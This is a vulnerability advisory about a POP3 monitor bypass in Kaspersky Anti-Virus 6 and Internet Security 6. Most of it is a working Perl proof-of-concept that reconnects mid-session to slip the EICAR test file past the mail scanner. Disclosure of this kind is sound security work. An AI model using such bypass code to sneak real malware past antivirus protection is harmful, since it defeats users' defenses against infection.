Kaspersky antivirus 6 Kaspersky internet security 6 www.kaspersky.com Vulnerable Systems: KAV6, KIS6 Detail: The vulnerability is caused due to POP3 state machine error in POP3 monitor (Kaspersky Mail-antivirus). Any mailicious software on local computer can bypass POP3 virus monitor. Solution: There is no known solution. Exploit code: Put eicar.com test file into your mailbox using subject 'eicar', correct this perl script (change POP3-server address, your acount name and the pasword) and run the script with ActiveState Perl 5.8: #! /usr/bin/perl -w use IO::Socket::INET; use strict; my( $h_srv, $h_port, $h_user, $h_pwd ) = ( YOUR.POP3.SERVER.IP/FQDN, 'pop(110)', YOUR-ACCOUNT, YOUR-PASSWORD ); my( $g_str, $g_trc_out, $g_trc_in ) = ( '', 0, 0 ); my $server = pop3_connect(); sendthem( $server, "LIST" ); die "bad LIST command: $g_str" unless read_line( $server ) =~ /^\+OK/; my @lst; for( ;; ) { my $str = read_line( $server ); last if $str =~ /^.$/; push @lst, $1 if $str =~ /^(\d+)\s+/; } syswrite STDOUT, "msgs: ".(join ' ', @lst)."\n"; # !!! comment next line to have it working ;) $server = pop3_connect( $server ); foreach( @lst ) { my $uidl = $_; sendthem( $server, "RETR $uidl" ); die "bad RETR command: $g_str" unless read_line( $server ) =~ /^\+OK/; my $msg = ''; for( ;; ) { my $str = read_line( $server ); last if $str =~ /^.$/; $msg .= $str."\n"; } syswrite STDOUT, "got: $uidl (".(length $msg)." bytes)\n"; syswrite STDOUT, $msg if $msg =~ /eicar/i; } sub pop3_connect { my( $sock ) = @_; syswrite STDOUT, "connecting to $h_srv:$h_port (as $h_user)\n"; $sock->close if $sock; $sock = IO::Socket::INET->new( PeerAddr => $h_srv, PeerPort => $h_port, Proto => 'tcp' ); die "socket: $!" unless $sock; die "wrong answer: $g_str" unless read_line( $sock ) =~ /^\+OK/; sendthem( $sock, "USER $h_user" ); die "bad account: $g_str" unless read_line( $sock ) =~ /^\+OK/; sendthem( $sock, "PASS $h_pwd" ); die "bad password: $g_str" unless read_line( $sock ) =~ /^\+OK/; $sock; } sub sendthem { my $sock = shift; foreach( @_ ) { my @a = split //, $_; syswrite STDOUT, "cln: " if $g_trc_out; foreach( @a ) { sendone( $sock, $_ ); } sendone( $sock, "\r" ); sendone( $sock, "\n" ); } } sub sendone { my( $sock, $v ) = @_; die "send: " if length $v != $sock->syswrite( $v ); syswrite STDOUT, $v if $g_trc_out; } sub read_line { my( $sock ) = @_; my $str = ''; for( ;; ) { my $v = ''; my $r = $sock->sysread( $v, 1 ); die 'EOF reading headers!' unless $r; last if $v eq "\n"; next if $v eq "\r"; $str .= $v; } syswrite STDOUT, "srv: $str\r\n" if $g_trc_out; $g_str = $str; }